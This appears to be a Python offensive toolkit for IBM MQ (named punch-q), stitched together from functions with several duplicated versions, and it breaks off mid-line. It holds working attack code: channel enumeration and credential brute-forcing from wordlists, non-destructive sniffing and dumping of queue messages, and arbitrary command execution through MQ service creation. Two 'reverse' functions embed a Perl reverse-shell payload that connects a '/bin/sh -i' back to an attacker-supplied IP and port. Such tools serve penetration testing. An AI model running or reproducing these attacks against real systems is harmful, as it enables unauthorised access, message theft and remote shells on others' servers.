def name(): """ Discover a queue managers name. """ try: if not mqstate.channel: click.secho( 'No channel provided, defaulting to SYSTEM.DEF.SVRCONN', dim=True) mqstate.channel = 'SYSTEM.DEF.SVRCONN' qmgr = pymqi.connect(queue_manager='', channel=mqstate.channel, conn_info=mqstate.get_host()) qmgr_name = qmgr.inquire(pymqi.CMQC.MQCA_Q_MGR_NAME) click.secho(f'Queue Manager name: {mq_string(qmgr_name)}', fg='green') qmgr.disconnect() except pymqi.MQMIError as ce: # Some other error condition. raise ce
def ping(): """ Ping a queue manager. """ mqstate.validate(['host', 'port']) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_PING_Q_MGR() click.secho('Queue manager command server is responsive.', fg='green') # Attempt to determine the MQ command level. mq_params = pcf.MQCMD_INQUIRE_Q_MGR( {pymqi.CMQCFC.MQCMD_INQUIRE_SYSTEM: '*'}) # Get the queue manager status mq_status = pcf.MQCMD_INQUIRE_Q_MGR_STATUS()[0] # A number of these are not in CMQC, so this comment is a reference: # MQCA_INSTALLATION_DESC: 2115 # MQCA_INSTALLATION_NAME: 2116 # MQCA_INSTALLATION_PATH: 2117 # MQCACF_LOG_PATH: 3074 # MQCACF_Q_MGR_START_DATE: 3175 # MQCACF_Q_MGR_START_TIME: 3176 click.secho('Queue Manager Status:', bold=True) click.secho('---------------------', bold=True) click.secho('Command Level: {0}'.format( mq_params[0][pymqi.CMQC.MQIA_COMMAND_LEVEL]), bold=True) click.secho('Queue Manager Name: {0}'.format( mq_status.get(pymqi.CMQC.MQCA_Q_MGR_NAME, '(unknown)')), bold=True) click.secho('Installation Name: {0}'.format( mq_status.get(2116, '(unknown)')), bold=True) click.secho('Installation Path: {0}'.format( mq_status.get(2117, '(unknown)')), bold=True) click.secho('Installation Description: {0}'.format( mq_status.get(2115, '(unknown)')), bold=True) click.secho('Log Path: {0}'.format( mq_status.get(3074, '(unknown)')), bold=True) click.secho('Queue Manager Start Time: {0}'.format(' '.join( [mq_status.get(3175, '').strip(), mq_status.get(3176, '').strip()])), bold=True) click.secho('\n') click.secho('Successfully queried queue manager status.', fg='green') qmgr.disconnect()
def channels(prefix): """ Show channels. """ mqstate.validate(['host', 'port', 'channel']) args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: str(prefix)} qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) pcf = pymqi.PCFExecute(qmgr) try: click.secho( 'Showing channels with prefix: \'{0}\'...\n'.format(prefix), dim=True) response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as sce: if sce.comp == pymqi.CMQC.MQCC_FAILED and sce.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: click.secho('No channels matched prefix [%s]'.format(prefix), fg='red') else: raise sce else: t = get_table_handle([ 'Name', 'Type', 'MCA UID', 'Conn Name', 'Xmit Queue', 'Description', 'SSL Cipher', ]) for channel_info in response: t.append_row([ channel_info.get(pymqi.CMQCFC.MQCACH_CHANNEL_NAME, '').strip(), channel_type_to_name( channel_info.get(pymqi.CMQCFC.MQIACH_CHANNEL_TYPE)), channel_info.get(pymqi.CMQCFC.MQCACH_MCA_USER_ID, ''), channel_info.get(pymqi.CMQCFC.MQCACH_CONNECTION_NAME, '').strip(), channel_info.get(pymqi.CMQCFC.MQCACH_XMIT_Q_NAME, '').strip(), channel_info.get(pymqi.CMQCFC.MQCACH_DESC, '').strip(), # channel_info.get(pymqi.CMQCFC.MQCACH_PASSWORD, '(unknown)').strip(), channel_info.get(pymqi.CMQCFC.MQCACH_SSL_CIPHER_SPEC, '').strip(), # channel_info.get(pymqi.CMQCFC.MQCACH_SSL_PEER_NAME, '').strip(), ]) click.secho(t.get_string()) qmgr.disconnect()
def execute(cmd, args, service_name, wait): """ Execute an arbitrary command. \b Examples: python punch-q.py command execute -c /bin/ping -a "-c 1 192.168.0.1" python punch-q.py -C pq.yml command execute --cmd "/bin/ping" --args "-c 5 192.168.0.8" --wait 8 """ # Generate a service name if none was provided if not service_name: service_name = uuid.uuid4() # Cleanup the service name to remove spaces and dashes and limit to 16 chars service_name = str(service_name).replace('-', '').replace(' ', '')[0:16] # information click.secho('Cmd: {0}'.format(cmd), bold=True) click.secho('Arg: {0}'.format(args), bold=True) click.secho('Service Name: {0}\n'.format(service_name)) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # create the service click.secho('Creating service...', dim=True) args = { pymqi.CMQC.MQCA_SERVICE_NAME: service_name, pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL, pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND, pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd), pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args) } pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_CREATE_SERVICE(args) # start the service click.secho('Starting service...', fg='green') args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_START_SERVICE(args) click.secho('Giving the service {0} second(s) to live...'.format(wait), dim=True) time.sleep(wait) # delete service click.secho('Cleaning up service...', dim=True) args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_DELETE_SERVICE(args) qmgr.disconnect() click.secho('Done', fg='green')
def pop(queue, save_to, skip_confirmation): """ Pop a message off the queue. """ if not skip_confirmation: click.secho( 'WARNING: This action will REMOVE the message from the selected queue!\n' + 'Consider the --save-to flag to save the message you are about to pop.', fg='yellow') if not click.confirm('Are you sure?'): click.secho('Did not receive confirmation, bailing...') return qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) try: queue = pymqi.Queue(qmgr, str(queue)) request_md = pymqi.MD() message = queue.get(None, request_md) except pymqi.MQMIError as dme: if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE: click.secho('No messages to pop from the queue.', fg='yellow') return else: raise dme t = get_table_handle( ['Date', 'Time', 'User', 'Format', 'App Name', 'Data'], markdown=False) t.append_row([ mq_string(request_md.PutDate), mq_string(request_md.PutTime), mq_string(request_md.UserIdentifier), mq_string(request_md.Format), mq_string(request_md.PutApplName), mq_string(message), ]) click.secho('') click.secho(t.get_string()) # save to file if we got a file argument if save_to: save_to.write(message) click.secho(f'\nSaved message data to file: {save_to.name}', fg='green') queue.close() qmgr.disconnect()
def push(queue, source_file, source_string): """ Push a message onto the queue. """ if source_file is None and source_string is None: click.secho('Please provide either a source file or a source string.', fg='red') return if source_file and source_string: click.secho( 'Both a source file and string was specified. Only one is allowed.', fg='red') return if source_file: message = source_file.read() else: message = source_string.encode() click.secho(f'Pushing message onto queue: {queue}', dim=True) click.secho(f'Message (truncated): {message[:150]}', dim=True) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) try: put_mqmd = pymqi.MD() put_mqmd.Format = pymqi.CMQC.MQFMT_STRING # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py#L69-L71 put_opts = pymqi.PMO(Options=pymqi.CMQC.MQPMO_NO_SYNCPOINT + pymqi.CMQC.MQPMO_FAIL_IF_QUIESCING) mqqueue = pymqi.Queue(qmgr, str(queue)) mqqueue.put(message, put_mqmd, put_opts) except pymqi.MQMIError as dme: # if we are not allowed to GET on this queue, mention that and quit if dme.comp == pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_PUT_INHIBITED: click.secho('PUT not allowed on queue with current credentials.', fg='red') return else: raise dme mqqueue.close() qmgr.disconnect() click.secho('Message successfully pushed onto the queue.', fg='green')
def ping(): """ Ping a queue manager. """ mqstate.validate(['host', 'port', 'qm_name', 'channel']) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_PING_Q_MGR() click.secho('Queue manager command server is responsive.', fg='green') # Attempt to determine the MQ command level. mq_params = pcf.MQCMD_INQUIRE_Q_MGR({pymqi.CMQCFC.MQCMD_INQUIRE_SYSTEM: '*'.encode()}) # Get the queue manager status mq_status = pcf.MQCMD_INQUIRE_Q_MGR_STATUS()[0] # A number of these are not in CMQC.py, so # this comment is a reference from the C headers # resolving some of the constants. # # MQCA_INSTALLATION_DESC: 2115 # MQCA_INSTALLATION_NAME: 2116 # MQCA_INSTALLATION_PATH: 2117 # MQCACF_LOG_PATH: 3074 # MQCACF_Q_MGR_START_DATE: 3175 # MQCACF_Q_MGR_START_TIME: 3176 click.secho('Queue Manager Status:', bold=True) click.secho('---------------------', bold=True) click.secho(f'Command Level: {mq_params[0][pymqi.CMQC.MQIA_COMMAND_LEVEL]}', bold=True) click.secho('Queue Manager Name: ' + f'{mq_string(mq_status.get(pymqi.CMQC.MQCA_Q_MGR_NAME, "(unknown)"))}', bold=True) click.secho(f'Installation Name: {mq_string(mq_status.get(2116, "(unknown)"))}', bold=True) click.secho(f'Installation Path: {mq_string(mq_status.get(2117, "(unknown)"))}', bold=True) click.secho(f'Installation Description: {mq_string(mq_status.get(2115, "(unknown)"))}', bold=True) click.secho(f'Log Path: {mq_string(mq_status.get(3074, "(unknown)"))}', bold=True) click.secho('Queue Manager Start Time: ' + f'{mq_string(mq_status.get(3175, ""))} {mq_string(mq_status.get(3176, ""))}', bold=True) click.secho('\n') click.secho('Successfully queried queue manager status.', fg='green') qmgr.disconnect()
def users(channel): """ Discover users. This command attempts to brute force MQ users for a specific channel. The channel name itself is taken from this sub command, and not the global --channel flag used for configuration. """ click.secho('Brute forcing users on channel: {0}'.format(channel)) wordlist = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'wordlists/', 'mq_users.txt') with open(wordlist, 'r') as f: wordlist = f.readlines() # Iterate the word list we have for user in wordlist: username, password = user.strip().split(':') print(username + ':' + password) try: qmgr = pymqi.connect(mqstate.qm_name, channel, mqstate.get_host(), username, password) pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_PING_Q_MGR() click.secho('Combination "{0}:{1}" authenticated.'.format( username, password), fg='green', bold=True) qmgr.disconnect() except pymqi.MQMIError as ce: # unknown channel if ce.reason == pymqi.CMQC.MQRC_NOT_AUTHORIZED: continue # Some other error condition. raise ce
def sniff(queue, store, directory): """ Sniff messages on a queue, non-destructively. Sniffs queues messages on a queue by opening the queue in a read only mode. Incoming messages will be dumped to the screen by default. If the --store flag is specified, messages will also be written to disk as they arrive. """ mqstate.validate(['host', 'port']) # check if a directory was set but store was not if directory and not store: click.secho('A directory was set to store messages but --store flag was not provided, ignoring...', bold=True, fg='yellow') # Prepare the destination directory if messages should also be saved if store: # Automatically generate a directory to save messages to if not directory: directory = safe_filename(mqstate.host + '_' + safe_filename(queue)) click.secho(f'Messages will be saved to directory \'{directory}\'', dim=True, fg='green') # check that the directory is ready for use absolute_path = os.path.abspath(directory) if not os.path.exists(absolute_path): click.secho(f'Creating {absolute_path} to save messages in...', dim=True) os.makedirs(absolute_path, mode=0o755) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py # https://github.com/dsuch/pymqi/blob/master/code/examples/get_wait_multiple_messages.py gmo = pymqi.GMO() gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT | pymqi.CMQC.MQGMO_WAIT | pymqi.CMQC.MQGMO_FAIL_IF_QUIESCING gmo.WaitInterval = 2 * 1000 # 5 seconds queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE) request_md = pymqi.MD() # simple counter for statistics message_count = 0 click.secho('Waiting for messages to arrive...', dim=True) while True: try: # grab the message message = queue.get(None, request_md, gmo) message_count += 1 # Save the message if we need to we do this early as # messages could be reformatted to be printed to screen. if store: file_name = filename_from_attributes( mq_string(request_md.PutDate), mq_string(request_md.PutTime), '.' + hashlib.sha1(request_md.MsgId).hexdigest() + '.', request_md.MsgType, request_md.Expiry, mq_string(request_md.UserIdentifier), mq_string(request_md.Format), mq_string(request_md.PutApplName)) # try get a safe filename from all of that file_name = slugify(file_name) with open(os.path.join(absolute_path, file_name), 'wb') as f: f.write(message) click.secho(f'{message_count}: Wrote message to {file_name}', bold=True, fg='green') # check if we have a MQSTR message. If we don't, try and filter # non-printables. if request_md.Format.strip() not in ['MQSTR', '']: # remove non-printables and update the Format # column with (stripped) so that it is visible message = message.decode('ascii', errors='ignore') request_md.Format = mq_string(request_md.Format) + ' (stripped)' click.secho(f'Message #{message_count}', fg='green') table = get_table_handle([ 'Date', 'Time', 'MsgID', 'MsgType', 'Expiry', 'User', 'Format', 'App Name'], markdown=False) table.append_row([ mq_string(request_md.PutDate), mq_string(request_md.PutTime), request_md.MsgId.decode('ascii', errors='ignore'), request_md.MsgType, request_md.Expiry, mq_string(request_md.UserIdentifier), mq_string(request_md.Format), mq_string(request_md.PutApplName), ]) # Print a 'header' for the message click.secho(table.get_string()) # Print the message itself click.secho('' + '*' * 40 + ' BEGIN MESSAGE DATA ' + '*' * 40, dim=True) click.secho(message, bold=True) click.secho('*' * 41 + ' END MESSAGE DATA ' + '*' * 41 + '\n', dim=True) # reset the request descriptor so we can reuse it for the next message. request_md.MsgId = pymqi.CMQC.MQMI_NONE request_md.CorrelId = pymqi.CMQC.MQCI_NONE request_md.GroupId = pymqi.CMQC.MQGI_NONE request_md.Format = pymqi.CMQC.MQGI_NONE except pymqi.MQMIError as dme: # No messages, that's OK, we can ignore it. if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE: continue # if we are not allowed to GET on this queue, mention that and quit if dme.comp == pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_GET_INHIBITED: click.secho('GET not allowed on queue with current credentials.', fg='red') break else: # Some other error condition. raise dme except KeyboardInterrupt as _: click.secho('Stopping...', fg='yellow') break click.secho(f'\nSniffed {message_count} message(s) in total.', dim=True) queue.close() qmgr.disconnect()
def dump(queue, limit): """ Dump messages from a queue, non-destructively. """ click.secho(f'Dumping a maximum of {limit} messages from {queue}...', dim=True) click.secho('Only printing ASCII characters.', dim=True) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py gmo = pymqi.GMO() gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE) message_count = 0 while message_count < limit: try: request_md = pymqi.MD() message = queue.get(None, request_md, gmo) # check if we have a MQSTR message. if request_md.Format.strip() not in ['MQSTR', '']: # remove non-printables and update the Format # column with (stripped) so that it is visible message = message.decode('ascii', errors='ignore') request_md.Format = mq_string(request_md.Format) + ' (stripped)' table = get_table_handle(['Date', 'Time', 'MsgID', 'MsgType', 'Expiry', 'User', 'Format', 'App Name'], markdown=False) table.append_row([ mq_string(request_md.PutDate), mq_string(request_md.PutTime), request_md.MsgId.decode('ascii', errors='ignore'), request_md.MsgType, request_md.Expiry, mq_string(request_md.UserIdentifier), mq_string(request_md.Format), mq_string(request_md.PutApplName), ]) # Print a 'header' for the message click.secho(table.get_string()) # Print the message itself click.secho('\n' + '*' * 40 + ' BEGIN MESSAGE DATA ' + '*' * 40, dim=True) click.secho(message, bold=True) click.secho('*' * 41 + ' END MESSAGE DATA ' + '*' * 41 + '\n', dim=True) except pymqi.MQMIError as dme: if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE: click.secho('Dump complete. No more messages on the queue.', fg='yellow') break # if we are not allowed to GET on this queue, mention that and quit if dme.comp == pymqi.CMQ.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_GET_INHIBITED: click.secho('GET not allowed on queue with current access.', fg='red') break else: raise dme message_count += 1 click.secho('') click.secho(f'\nGot {message_count} message(s) in total.', dim=True) queue.close() qmgr.disconnect()
def queues(prefix, min_depth): """ Show queues. """ mqstate.validate(['host', 'port', 'channel']) args = { pymqi.CMQC.MQCA_Q_NAME: prefix.encode(), pymqi.CMQC.MQIA_Q_TYPE: pymqi.CMQC.MQQT_ALL } qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) pcf = pymqi.PCFExecute(qmgr) try: click.secho(f'Showing queues with prefix: "{prefix}"...', dim=True) if min_depth > 0: click.secho(f'Limiting queues to those with at least {min_depth} message(s)...', dim=True) response = pcf.MQCMD_INQUIRE_Q(args) except pymqi.MQMIError as sqe: # no queues found if sqe.comp == pymqi.CMQC.MQCC_FAILED and sqe.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: click.secho(f'No queues matched given prefix of {prefix}', fg='red') else: raise sqe else: t = get_table_handle([ 'Created', 'Name', 'Type', 'Usage', 'Depth', 'Rmt. QMGR Name', 'Rmt. Queue Name', 'Description', ], markdown=True) t.set_style(t.STYLE_MARKDOWN) for queue_info in response: # skip queues that don't have at least the min amount of messages if queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, 0) < min_depth: continue # try and resolve the transmission queue for remote queue types q_type = queue_type_to_name(queue_info.get(pymqi.CMQC.MQIA_Q_TYPE)) if q_type == 'Remote': xmit_q = mq_string(queue_info.get(pymqi.CMQC.MQCA_XMIT_Q_NAME, '')) if len(xmit_q) > 0: q_type = q_type + f' (Transmission Q: {xmit_q})' t.append_row([ ' '.join([ mq_string(queue_info.get(pymqi.CMQC.MQCA_CREATION_DATE, '')), mq_string(queue_info.get(pymqi.CMQC.MQCA_CREATION_TIME, '')) ]), mq_string(queue_info.get(pymqi.CMQC.MQCA_Q_NAME, '')), q_type, queue_usage_to_name(queue_info.get(pymqi.CMQC.MQIA_USAGE)), queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, ''), mq_string(queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_MGR_NAME, '')), mq_string(queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_NAME, '')), mq_string(queue_info.get(pymqi.CMQC.MQCA_Q_DESC, '')), ]) click.secho(t.get_string()) qmgr.disconnect()
def channels(wordlist): """ Discover channels. This command attempts to enumerate MQ channels using the provided configuration options. A list of default channel names is used if no word list is provided. Extra permutations will be generated if the target host is not an IP address. A number of cases exist where a channel does in fact exist server-side, but is not picked up by this command. This could be primarily because of the channel type not being a Server-connection. """ # Ensure we have at least a host and a port mqstate.validate(['host', 'port']) if not wordlist: wordlist = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'wordlists/', 'mq_channels.txt') with open(wordlist, 'r') as f: # Don't read empty lines and strip spaces wordlist = [x.strip() for x in f.readlines() if len(x.strip()) > 0] # Check if the host is an IP address. If it is not, generate # permutations based on the hostname to try as channel names. if not is_ip_address(mqstate.host): click.secho('Destination host does not appear to be an IP address. Generating more permutations...', dim=True) # use the first entry as a base channel name base_name = mqstate.host.split('.')[0].upper() wordlist.append(base_name) wordlist.append(base_name + '.CHANNEL') wordlist.append(base_name + '.CHL') wordlist.append(base_name + '.SVRCONN') wordlist.append(base_name + '.ADMIN.SVRCONN') wordlist.append(base_name + '.AUTO.SVRCONN') wordlist.append(base_name + '.DEF.SVRCONN') wordlist.append(base_name + '.ADMIN.CHANNEL') wordlist.append(base_name + '.DEV.CHANNEL') # 'uniqify' the final list wordlist = list(set(wordlist)) # Loop the wordlist, trying to connect to the target channel. # The username & password is taken from the configuration. # # The existence of a channel is determined based on the response # from the target queue manager. Luckily, MQ responds with a clear # message if the remote channel does not exist. for channel in wordlist: channel = channel.strip() try: qmgr = pymqi.connect(mqstate.qm_name, str(channel), mqstate.get_host(), mqstate.username, mqstate.password) pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_PING_Q_MGR() # If no exception is thrown, the channel exists *AND* we have access # with the supplied credentials (or lack thereof). click.secho(f'"{channel}" exists and was authorised.', fg='green', bold=True) qmgr.disconnect() except pymqi.MQMIError as ce: # Unknown channel. This is ok, just move along. if ce.reason == pymqi.CMQC.MQRC_UNKNOWN_CHANNEL_NAME: continue # The channel could be a sender /receiver type. elif ce.reason == pymqi.CMQC.MQRC_CHANNEL_CONFIG_ERROR: continue # Previous disconnect was not successful. Not sure why this happens tbh. elif ce.reason == pymqi.CMQC.MQRC_ALREADY_CONNECTED: qmgr.disconnect() continue # Channel is unavailable elif ce.reason == pymqi.CMQC.MQRC_CHANNEL_NOT_AVAILABLE: click.secho(f'"{channel}" might exist, but is not available.', bold=True, fg='yellow') continue # An unauthenticated message means the channel at least exists. elif ce.reason == pymqi.CMQC.MQRC_NOT_AUTHORIZED: click.secho(f'"{channel}" might exist, but user was not authorised.', bold=True) continue # Maybe this is an SSL error elif ce.reason == pymqi.CMQC.MQRC_SSL_INITIALIZATION_ERROR: click.secho(f'"{channel}" might exist, but wants SSL.', bold=True, fg='yellow') continue # Some other error condition occurred. raise ce
def reverse(ip, port, service_name, wait): """ Start a Perl-based reverse shell. \b Examples: python punch-q.py -C pq.yml command reverse --ip 192.168.5.1 --port 4444 """ # Generate a service name if none was provided if not service_name: service_name = uuid.uuid4() # Cleanup the service name to remove spaces and dashes and limit to 16 chars service_name = str(service_name).replace('-', '').replace(' ', '')[0:16].encode() # raw perl, passed as part of a -e argument payload = "use Socket;$i='" + str(ip) + "';$p=" + str(port) + \ ";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \ "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \ "open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};" # information click.secho(f'Remote IP: {ip}', dim=True) click.secho(f'Remote Port: {port}', dim=True) click.secho(f'Raw Reverse Shell: {payload}', dim=True, fg='blue') click.secho(f'Service Name: {service_name.decode()}\n', dim=True) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # create the service click.secho('Creating service...', dim=True) args = { pymqi.CMQC.MQCA_SERVICE_NAME: service_name, pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL, pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND, pymqi.CMQC.MQCA_SERVICE_START_COMMAND: '/usr/bin/perl'.encode(), pymqi.CMQC.MQCA_SERVICE_START_ARGS: f'-e "{payload}"'.encode(), } pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_CREATE_SERVICE(args) # start the service click.secho('Starting service...', fg='green') args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} try: pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_START_SERVICE(args) except pymqi.MQMIError as dme: if dme.reason == pymqi.CMQCFC.MQRCCF_PROGRAM_NOT_AVAILABLE: click.secho('The program \'/usr/bin/perl\' is not available on the remote system.', fg='red') return else: raise dme click.secho(f'Giving the service {wait} second(s) to live...', dim=True) time.sleep(wait) # delete service click.secho('Cleaning up service...', dim=True) args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_DELETE_SERVICE(args) qmgr.disconnect() click.secho('Done', fg='green')
def queues(prefix, min_depth): """ Show queues. """ mqstate.validate(['host', 'port', 'channel']) args = { pymqi.CMQC.MQCA_Q_NAME: str(prefix), pymqi.CMQC.MQIA_Q_TYPE: pymqi.CMQC.MQQT_ALL } qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) pcf = pymqi.PCFExecute(qmgr) try: click.secho('Showing queues with prefix: \'{0}\'...\n'.format(prefix), dim=True) response = pcf.MQCMD_INQUIRE_Q(args) except pymqi.MQMIError as sqe: # no queues found if sqe.comp == pymqi.CMQC.MQCC_FAILED and sqe.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: click.secho('No queues matched given prefix of {0}'.format(prefix), fg='red') else: raise sqe else: t = get_table_handle([ 'Created', 'Name', 'Type', 'Usage', 'Depth', 'Rmt. QMGR Name', 'Rmt. Queue Name', 'Description', ], markdown=True) t.set_style(t.STYLE_MARKDOWN) for queue_info in response: # skip queues that don't have at least the min amount of messages if queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, 0) < min_depth: continue t.append_row([ ' '.join([ queue_info.get(pymqi.CMQC.MQCA_CREATION_DATE, '').strip(), queue_info.get(pymqi.CMQC.MQCA_CREATION_TIME, '').strip() ]), queue_info.get(pymqi.CMQC.MQCA_Q_NAME, '').strip(), queue_type_to_name(queue_info.get(pymqi.CMQC.MQIA_Q_TYPE)), queue_usage_to_name(queue_info.get(pymqi.CMQC.MQIA_USAGE)), queue_info.get(pymqi.CMQC.MQIA_CURRENT_Q_DEPTH, ''), queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_MGR_NAME, '').strip(), queue_info.get(pymqi.CMQC.MQCA_REMOTE_Q_NAME, '').strip(), queue_info.get(pymqi.CMQC.MQCA_Q_DESC, '').strip(), ]) click.secho(t.get_string()) qmgr.disconnect()
def reverse(ip, port, service_name, wait): """ Start a Perl-based reverse shell. \b Examples: python punch-q.py -C pq.yml command reverse --ip 192.168.5.1 --port 4444 """ # Generate a service name if none was provided if not service_name: service_name = uuid.uuid4() # Cleanup the service name to remove spaces and dashes and limit to 16 chars service_name = str(service_name).replace('-', '').replace(' ', '')[0:16] # raw perl, passed as part of a -e argument payload = "use Socket;$i='" + str(ip) + "';$p=" + str(port) + \ ";socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));" \ "if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,'>&S');" \ "open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};" # information click.secho('Ip: {0}'.format(ip), bold=True) click.secho('Port: {0}'.format(port), bold=True) click.secho('Raw Perl: {0}'.format(payload), bold=True, fg='blue') click.secho('Service Name: {0}\n'.format(service_name)) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # create the service click.secho('Creating service...', dim=True) args = { pymqi.CMQC.MQCA_SERVICE_NAME: service_name, pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL, pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND, pymqi.CMQC.MQCA_SERVICE_START_COMMAND: '/usr/bin/perl', pymqi.CMQC.MQCA_SERVICE_START_ARGS: "-e \"{0}\"".format(payload) } pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_CREATE_SERVICE(args) # start the service click.secho('Starting service...', fg='green') args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_START_SERVICE(args) click.secho('Giving the service {0} second(s) to live...'.format(wait), dim=True) time.sleep(wait) # delete service click.secho('Cleaning up service...', dim=True) args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name} pcf = pymqi.PCFExecute(qmgr) pcf.MQCMD_DELETE_SERVICE(args) qmgr.disconnect() click.secho('Done', fg='green')
def save(queue, limit, directory): """ Save messages from a queue to a file, non-destructively. """ mqstate.validate(['host', 'port', 'channel']) # Automatically generate a directory to save messages to if not directory: directory = safe_filename(mqstate.host + '_' + safe_filename(queue)) click.secho(f'Saving messages to \'{directory}\'...', dim=True, fg='green') # check that the directory is ready for use absolute_path = os.path.abspath(directory) if not os.path.exists(absolute_path): click.secho(f'Creating {absolute_path} to save messages in...', dim=True) os.makedirs(absolute_path, mode=0o755) click.secho(f'Saving a maximum of {limit} messages from {queue}...', dim=True) qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(), mqstate.username, mqstate.password) # https://www.ibm.com/support/knowledgecenter/en/SSFKSJ_7.5.0/com.ibm.mq.ref.dev.doc/q096780_.htm # https://github.com/dsuch/pymqi/blob/master/code/examples/put_get_correl_id.py gmo = pymqi.GMO() gmo.Options = pymqi.CMQC.MQGMO_BROWSE_NEXT queue = pymqi.Queue(qmgr, str(queue), pymqi.CMQC.MQOO_BROWSE) message_count = 0 while message_count < limit: try: request_md = pymqi.MD() message = queue.get(None, request_md, gmo) file_name = filename_from_attributes( mq_string(request_md.PutDate), mq_string(request_md.PutTime), '.' + hashlib.sha1(request_md.MsgId).hexdigest() + '.', request_md.MsgType, request_md.Expiry, mq_string(request_md.UserIdentifier), mq_string(request_md.Format), mq_string(request_md.PutApplName)) # try get a safe filename from all of that file_name = slugify(file_name) with open(os.path.join(absolute_path, file_name), 'wb') as f: f.write(message) click.secho(f'{message_count}: Wrote message to {file_name}', bold=True, fg='green') except pymqi.MQMIError as dme: if dme.comp == pymqi.CMQC.MQCC_FAILED and dme.reason == pymqi.CMQC.MQRC_NO_MSG_AVAILABLE: click.secho('Dump complete. No more messages on the queue.', fg='yellow') break # if we are not allowed to GET on this queue, mention that and quit if dme.comp == 